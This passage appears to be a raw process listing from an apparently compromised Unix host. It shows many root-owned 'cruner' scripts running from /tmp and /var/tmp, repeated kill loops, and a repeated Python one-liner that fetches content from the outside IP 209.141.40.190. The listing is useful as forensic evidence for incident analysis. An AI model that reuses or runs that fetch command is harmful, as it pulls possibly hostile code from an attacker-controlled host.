? 0:00 bash -sh > root 24706 23854 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7307 7271 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22463 29168 0 - ? 0:00 <defunct> > root 9808 28300 0 15:45:28 ? 0:00 sleep 60 > root 21067 29930 0 - ? 0:00 <defunct> > root 2071 6802 0 - ? 0:00 <defunct> > root 868 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21393 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14856 14753 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13463 5607 0 - ? 0:00 <defunct> > root 20186 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26329 18672 0 - ? 0:00 <defunct> > root 13361 8947 0 15:45:55 ? 0:00 xargs kill -9 > root 270 18483 0 15:45:34 ? 0:00 sleep 60 > root 789 15473 0 15:45:24 ? 0:00 sleep 60 > root 29387 12795 0 15:45:03 ? 0:00 bash -sh > root 2896 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8641 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13031 21468 0 - ? 0:00 <defunct> > root 15286 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2779 22123 0 15:45:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7744 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10597 12952 0 15:45:55 ? 0:00 bash -sh > root 8745 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17239 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15895 15858 0 - ? 0:00 <defunct> > root 2722 2684 0 15:45:48 ? 0:00 /bin/ksh -p /bin/kill -9 > root 26075 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29648 8632 0 15:46:02 ? 0:00 sleep 60 > root 1527 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20780 6228 0 15:44:18 ? 0:00 bash -sh > root 23648 3481 0 15:45:38 ? 0:00 bash -sh > root 2286 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22373 4998 0 15:45:52 ? 0:00 bash -sh > root 8177 8077 0 15:45:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8468 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21978 22986 0 15:44:07 ? 0:00 bash -sh > root 7203 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14761 4668 0 15:46:04 ? 0:00 bash -sh > root 5079 22944 0 15:46:06 ? 0:00 sleep 60 > root 8481 22982 0 15:45:25 ? 0:00 sleep 60 > root 16833 16733 0 15:45:42 ? 0:00 sleep 60 > root 9780 12180 0 15:46:07 ? 0:00 xargs kill -9 > root 3580 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22477 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11453 12594 0 15:45:59 ? 0:00 bash -sh > root 22970 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27533 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8386 3451 0 - ? 0:00 <defunct> > root 28024 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2189 24749 0 15:45:19 ? 0:00 sleep 60 > root 3775 25368 0 - ? 0:00 <defunct> > root 8123 5600 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6451 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3491 26759 0 15:45:28 ? 0:00 sleep 60 > root 26719 20442 0 15:45:18 ? 0:00 sleep 60 > root 7796 5941 0 15:45:36 ? 0:00 sleep 60 > root 2453 18124 0 15:45:19 ? 0:00 sleep 60 > root 29919 13957 0 15:45:58 ? 0:00 sleep 60 > root 23305 16459 0 - ? 0:00 <defunct> > root 12676 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18979 18956 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26907 26057 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 23883 17528 0 15:44:08 ? 0:00 bash -sh > root 16511 1138 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 24652 24627 0 15:45:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19035 19015 0 15:46:09 ? 0:00 sh /tmp/cruner > root 27294 27286 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19750 1 0 20:58:16 ? 0:00 sh /var/tmp/cruner > root 19902 22542 0 15:44:53 ? 0:00 bash -sh > root 22849 4096 0 15:45:47 ? 0:00 sh /tmp/cruner > root 8318 8311 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28883 24302 0 15:45:34 ? 0:00 sleep 60 > root 10284 14917 0 15:46:07 ? 0:00 sleep 60 > root 9109 2952 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 10855 1604 0 15:45:50 ? 0:00 bash -sh > root 196 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4295 1555 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18932 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5438 7297 0 15:45:35 ? 0:00 sleep 60 > root 24805 15886 0 15:44:20 ? 0:00 bash -sh > root 22616 6026 0 - ? 0:00 <defunct> > root 26257 18874 0 15:45:53 ? 0:00 sleep 60 > root 21004 20999 0 15:44:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23663 29213 0 15:45:17 ? 0:00 sleep 60 > root 20841 19237 0 15:45:29 ? 0:00 sleep 60 > root 10904 12309 0 15:43:10 ? 0:00 bash -sh > root 9043 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23688 17632 0 - ? 0:00 <defunct> > root 23232 25033 0 15:43:23 ? 0:00 bash -sh > root 10999 17390 0 15:45:41 ? 0:00 xargs kill -9 > root 711 18639 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 14626 11637 0 - ? 0:00 <defunct> > root 5472 23796 0 15:43:42 ? 0:00 bash -sh > root 21307 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26893 2072 0 15:45:27 ? 0:00 sleep 60 > root 23568 7102 0 15:45:23 ? 0:00 sleep 60 > root 18671 736 0 15:45:42 ? 0:00 sleep 60 > root 13619 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24464 27042 0 15:46:05 ? 0:00 sleep 60 > root 23061 8070 0 15:45:47 ? 0:00 sh /tmp/cruner > root 14141 21260 0 15:46:08 ? 0:00 bash -sh > root 15213 8387 0 15:45:25 ? 0:00 sleep 60 > root 29800 8414 0 15:46:05 ? 0:00 bash -sh > root 2492 16618 0 15:45:14 ? 0:00 bash -sh > root 15022 2866 0 15:45:37 ? 0:00 sleep 60 > root 7603 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28599 20493 0 15:45:34 ? 0:00 sleep 60 > root 20731 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14258 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5443 2552 0 15:45:35 ? 0:00 sleep 60 > root 21811 20592 0 15:46:09 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14243 15078 0 - ? 0:00 <defunct> > root 23475 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25603 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19422 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24495 1816 0 15:43:29 ? 0:00 bash -sh > root 22588 4972 0 15:46:09 ? 0:00 bash -sh > root 11612 5232 0 15:44:30 ? 0:00 bash -sh > root 14011 11016 0 - ? 0:00 <defunct> > root 8394 10442 0 15:46:07 ? 0:00 sleep 60 > root 2542 13300 0 15:45:48 ? 0:00 sleep 60 > root 15078 4164 0 15:45:11 ? 0:00 bash -sh > root 9881 1779 0 15:42:53 ? 0:00 bash -sh > root 11613 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27981 7917 0 15:46:02 ? 0:00 bash -sh > root 10251 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 18911 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5997 8830 0 15:45:28 ? 0:00 sleep 60 > root 3215 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28818 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23968 5389 0 15:45:17 ? 0:00 sleep 60 > root 13117 13276 0 - ? 0:00 <defunct> > root 16490 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29558 11551 0 - ? 0:00 <defunct> > root 14247 10928 0 - ? 0:00 <defunct> > root 2545 26359 0 15:45:19 ? 0:00 sleep 60 > root 26175 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21504 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2124 12868 0 15:45:48 ? 0:00 sleep 60 > root 19722 29529 0 - ? 0:00 <defunct> > root 24596 14751 0 15:45:27 ? 0:00 sleep 60 > root 28386 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 18483 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19068 26069 0 15:45:33 ? 0:00 bash -sh > root 21117 9454 0 - ? 0:00 <defunct> > root 2146 11951 0 15:45:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15823 12173 0 - ? 0:00 <defunct> > root 605 27105 0 15:44:37 ? 0:00 bash -sh > root 26119 6940 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5903 24802 0 15:45:49 ? 0:00 xargs kill -9 > root 13606 13589 0 15:45:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23639 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25502 16667 0 15:45:47 ? 0:00 xargs kill -9 > root 13049 27832 0 15:45:21 ? 0:00 sleep 60 > root 3616 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1141 7693 0 15:45:48 ? 0:00 sleep 60 > root 5375 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17326 22672 0 15:44:52 ? 0:00 bash -sh > root 21633 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11587 13878 0 15:44:30 ? 0:00 bash -sh > root 16678 27418 0 15:45:29 ? 0:00 sleep 60 > root 7270 28724 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 20348 27521 0 15:45:29 ? 0:00 sleep 60 > root 9129 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11639 11013 0 15:43:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14093 1588 0 15:43:44 ? 0:00 bash -sh > root 426 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1420 18913 0 - ? 0:00 <defunct> > root 13601 15326 0 15:45:55 ? 0:00 sleep 60 > root 15965 17113 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 25606 20022 0 - ? 0:00 <defunct> > root 10279 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20248 19739 0 15:44:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29769 23767 0 15:44:10 ? 0:00 bash -sh > root 111 22880 0 15:44:11 ? 0:00 bash -sh > root 1355 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11266 11262 0 15:44:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 369 6005 0 15:44:11 ? 0:00 bash -sh > root 19625 7655 0 15:45:38 ? 0:00 bash -sh > root 23205 23198 0 - ? 0:00 <defunct> > root 12886 10855 0 - ? 0:00 <defunct> > root 27441 19095 0 15:45:43 ? 0:00 xargs kill -9 > root 10645 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9579 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26211 18594 0 15:45:53 ? 0:00 sh /tmp/cruner > root 20869 26657 0 15:45:17 ? 0:00 sleep 60 > root 15958 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17571 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23189 23310 0 15:46:05 ? 0:00 sleep 60 > root 11175 9256 0 15:44:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18205 20271 0 - ? 0:00 <defunct> > root 24217 10453 0 15:45:43 ? 0:00 sh /tmp/cruner > root 16482 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27309 3685 0 15:45:34 ? 0:00 sleep 60 > root 25702 8050 0 - ? 0:00 <defunct> > root 12286 7218 0 15:45:36 ? 0:00 bash -sh > root 22146 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9252 1219 0 15:45:31 ? 0:00 bash -sh > root 18717 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7705 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11595 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 495 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10806 8124 0 15:43:10 ? 0:00 bash -sh > root 28819 29471 0 - ? 0:00 <defunct> > root 27258 17362 0 15:46:02 ? 0:00 sleep 60 > root 29598 19087 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 11367 7185 0 - ? 0:00 <defunct> > root 23613 23933 0 15:46:01 ? 0:00 bash -sh > root 21165 21155 0 15:44:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2669 21074 0 15:45:27 ? 0:00 sleep 60 > root 24758 5562 0 15:45:30 ? 0:00 sleep 60 > root 2046 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 555 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2612 28222 0 15:46:02 ? 0:00 sleep 60 > root 12378 1 0 01:03:54 ? 0:01 sh /var/tmp/cruner > root 18735 3035 0 - ? 0:00 <defunct> > root 3671 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3084 28729 0 15:45:48 ? 0:00 sh /tmp/cruner > root 661 29094 0 - ? 0:00 <defunct> > root 14693 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24971 2254 0 15:45:43 ? 0:00 sleep 60 > root 6109 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4254 15771 0 15:45:54 ? 0:00 sleep 60 > root 21802 24515 0 15:45:26 ? 0:00 sleep 60 > root 6897 15686 0 15:44:03 ? 0:00 bash -sh > root 28998 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21042 3170 0 15:45:06 ? 0:00 bash -sh > root 4974 1526 0 15:46:06 ? 0:00 sleep 60 > root 22810 23035 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 13478 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15415 3400 0 15:46:04 ? 0:00 sleep 60 > root 26111 12878 0 15:45:47 ? 0:00 sleep 60 > root 19044 1 0 21:56:15 ? 0:00 sh /var/tmp/cruner > root 9278 5470 0 15:46:07 ? 0:00 sleep 60 > root 29771 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9911 14369 0 15:45:50 ? 0:00 xargs kill -9 > root 6651 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5994 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12952 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17289 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13709 28088 0 15:43:33 ? 0:00 bash -sh > root 23696 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 607 25513 0 15:45:53 ? 0:00 sleep 60 > root 6992 20033 0 15:45:20 ? 0:00 sleep 60 > root 11566 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8736 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23634 4473 0 15:45:57 ? 0:00 xargs kill -9 > root 29860 293 0 - ? 0:00 <defunct> > root 9377 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6030 28857 0 15:45:44 ? 0:00 bash -sh > root 24507 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2834 23800 0 - ? 0:00 <defunct> > root 157 21823 0 - ? 0:00 <defunct> > root 23333 6684 0 15:45:38 ? 0:00 bash -sh > root 11119 7903 0 15:45:15 ? 0:00 bash -sh > root 17713 6777 0 15:46:08 ? 0:00 bash -sh > root 14289 13885 0 - ? 0:00 <defunct> > root 12405 16228 0 - ? 0:00 <defunct> > root 14819 19100 0 - ? 0:00 <defunct> > root 8787 24446 0 - ? 0:00 <defunct> > root 6515 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24619 8813 0 - ? 0:00 <defunct> > root 18359 19978 0 15:42:19 ? 0:00 bash -sh > root 7188 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29113 5501 0 15:43:58 ? 0:00 bash -sh > root 18222 5713 0 15:45:46 ? 0:00 xargs kill -9 > root 23792 8207 0 15:44:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2799 18418 0 - ? 0:00 <defunct> > root 8240 8211 0 - ? 0:00 <defunct> > root 6118 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22009 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8086 13709 0 15:43:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17105 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19263 19275 0 15:45:38 ? 0:00 bash -sh > root 20477 5735 0 - ? 0:00 <defunct> > root 12570 1 0 21:05:01 ? 0:00 sh /var/tmp/cruner > root 13261 22036 0 - ? 0:00 <defunct> > root 19350 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27988 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27283 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15431 21318 0 15:45:41 ? 0:00 sleep 60 > root 8718 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4951 5472 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28236 21469 0 15:45:18 ? 0:00 sleep 60 > root 17815 19160 0 15:43:12 ? 0:00 bash -sh > root 5166 26465 0 15:45:20 ? 0:00 bash -sh > root 1456 17545 0 15:45:48 ? 0:00 sleep 60 > root 6434 24254 0 15:45:15 ? 0:00 sleep 60 > root 11104 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5267 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9415 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13901 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21398 21321 0 15:45:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11133 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6768 19821 0 15:45:28 ? 0:00 bash -sh > root 9186 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9275 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1102 26367 0 15:45:27 ? 0:00 sleep 60 > root 2207 16757 0 - ? 0:00 <defunct> > root 10010 15866 0 15:45:15 ? 0:00 bash -sh > root 4728 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17261 29339 0 - ? 0:00 <defunct> > root 2385 24204 0 - ? 0:00 <defunct> > root 10358 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15089 24269 0 15:43:44 ? 0:00 bash -sh > root 3939 6417 0 15:45:54 ? 0:00 bash -sh > root 22805 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9008 8794 0 15:45:50 ? 0:00 bash -sh > root 8099 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3023 3021 0 15:45:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 90 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6816 24138 0 15:45:09 ? 0:00 bash -sh > root 3055 22355 0 - ? 0:00 <defunct> > root 2457 9516 0 - ? 0:00 <defunct> > root 12144 8049 0 - ? 0:00 <defunct> > root 21890 21215 0 15:44:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27831 27324 0 15:45:27 ? 0:00 sleep 60 > root 15727 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28408 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 872 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1256 6353 0 15:43:41 ? 0:00 bash -sh > root 2981 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4619 4580 0 15:45:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22719 11799 0 - ? 0:00 <defunct> > root 15370 23955 0 15:46:08 ? 0:00 bash -sh > root 12663 20459 0 - ? 0:00 <defunct> > root 20362 8820 0 15:45:33 ? 0:00 sleep 60 > root 12103 26551 0 15:43:27 ? 0:00 bash -sh > root 2487 6792 0 15:45:35 ? 0:00 bash -sh > root 23284 12444 0 15:45:33 ? 0:00 sleep 60 > root 10181 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14359 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20267 21458 0 - ? 0:00 <defunct> > root 11579 11739 0 15:46:07 ? 0:00 bash -sh > root 25632 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25904 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7675 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25699 1164 0 15:45:47 ? 0:00 xargs kill -9 > root 28743 10622 0 - ? 0:00 <defunct> > root 19483 20930 0 - ? 0:00 <defunct> > root 28316 1360 0 15:45:34 ? 0:00 sleep 60 > root 24932 24628 0 15:46:10 ? 0:00 bash -sh > root 12475 10696 0 15:45:36 ? 0:00 bash -sh > root 721 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11209 6690 0 15:45:10 ? 0:00 bash -sh > root 28952 5932 0 15:44:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10712 10684 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12380 4889 0 15:45:41 ? 0:00 sleep 60 > root 9906 1569 0 15:45:05 ? 0:00 bash -sh > root 5666 7478 0 - ? 0:00 <defunct> > root 6628 8250 0 - ? 0:00 <defunct> > root 20408 668 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 816 13628 0 15:45:48 ? 0:00 sleep 60 > root 19272 26341 0 15:45:42 ? 0:00 sleep 60 > root 29469 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3026 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7676 11208 0 15:46:03 ? 0:00 xargs kill -9 > root 4916 14101 0 15:44:03 ? 0:00 bash -sh > root 18996 16341 0 15:45:56 ? 0:00 xargs kill -9 > root 21589 18576 0 - ? 0:00 <defunct> > root 23587 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20813 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24792 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5329 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7853 11983 0 15:43:37 ? 0:00 bash -sh > root 19690 12316 0 15:45:56 ? 0:00 sleep 60 > root 801 18302 0 15:43:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6027 907 0 15:46:06 ? 0:00 bash -sh > root 26939 22155 0 15:45:18 ? 0:00 sleep 60 > root 8489 7380 0 15:45:58 ? 0:00 bash -sh > root 14546 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2678 7452 0 15:45:14 ? 0:00 bash -sh > root 23329 23301 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20090 1251 0 15:45:51 ? 0:00 sh /var/tmp/cruner > root 10747 4900 0 - ? 0:00 <defunct> > root 11904 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23949 23671 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 1538 1532 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20872 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16007 4593 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 12064 10435 0 15:45:59 ? 0:00 sh /tmp/cruner > root 27599 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28822 28717 0 15:43:30 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15801 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21612 18275 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5308 997 0 15:45:31 ? 0:00 sleep 60 > root 203 25944 0 15:45:18 ? 0:00 sleep 60 > root 20149 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25170 20083 0 15:46:10 ? 0:00 xargs kill -9 > root 15555 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27210 13973 0 15:45:18 ? 0:00 sleep 60 > root 969 4783 0 15:44:33 ? 0:00 bash -sh > root 8960 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15670 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9894 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1067 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25281 11904 0 15:44:54 ? 0:00 bash -sh > root 12761 8980 0 15:46:08 ? 0:00 sleep 60 > root 28180 4632 0 15:43:41 ? 0:00 bash -sh > root 20696 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3231 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24802 20038 0 15:45:33 ? 0:00 bash -sh > root 21411 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14464 20665 0 15:45:41 ? 0:00 xargs kill -9 > root 583 19321 0 15:46:06 ? 0:00 bash -sh > root 7428 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7114 7106 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24497 14900 0 15:43:29 ? 0:00 bash -sh > root 16510 10766 0 15:46:00 ? 0:00 sleep 60 > root 13499 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7354 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7745 17482 0 15:43:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14507 3592 0 15:44:52 ? 0:00 bash -sh > root 11236 18294 0 15:45:28 ? 0:00 sleep 60 > root 6607 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1806 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13487 12831 0 - ? 0:00 <defunct> > root 17330 15098 0 15:46:08 ? 0:00 grep :4444 > root 265 27481 0 15:45:44 ? 0:00 sleep 60 > root 13919 9984 0 - ? 0:00 <defunct> > root 6099 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11058 28201 0 15:45:55 ? 0:00 sleep 60 > root 8459 25817 0 - ? 0:00 <defunct> > root 3526 19579 0 - ? 0:00 <defunct> > root 17851 21894 0 15:45:37 ? 0:00 bash -sh > root 10841 10834 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28865 13570 0 15:44:10 ? 0:00 bash -sh > root 26114 21197 0 - ? 0:00 <defunct> > root 12094 15058 0 - ? 0:00 <defunct> > root 18079 19356 0 15:46:09 ? 0:00 sleep 60 > root 5341 6732 0 15:45:40 ? 0:00 xargs kill -9 > root 28124 26739 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 20665 5074 0 15:44:53 ? 0:00 bash -sh > root 18414 5377 0 15:44:44 ? 0:00 bash -sh > root 8743 8742 0 15:45:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 522 3891 0 - ? 0:00 <defunct> > root 15520 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4917 4916 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7867 19662 0 15:45:49 ? 0:00 xargs kill -9 > root 11909 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28380 7649 0 - ? 0:00 <defunct> > root 27564 6032 0 15:45:18 ? 0:00 sleep 60 > root 12051 10039 0 - ? 0:00 <defunct> > root 25941 26997 0 15:45:17 ? 0:00 bash -sh > root 18403 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13489 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28832 6789 0 15:45:18 ? 0:00 sleep 60 > root 10892 9588 0 - 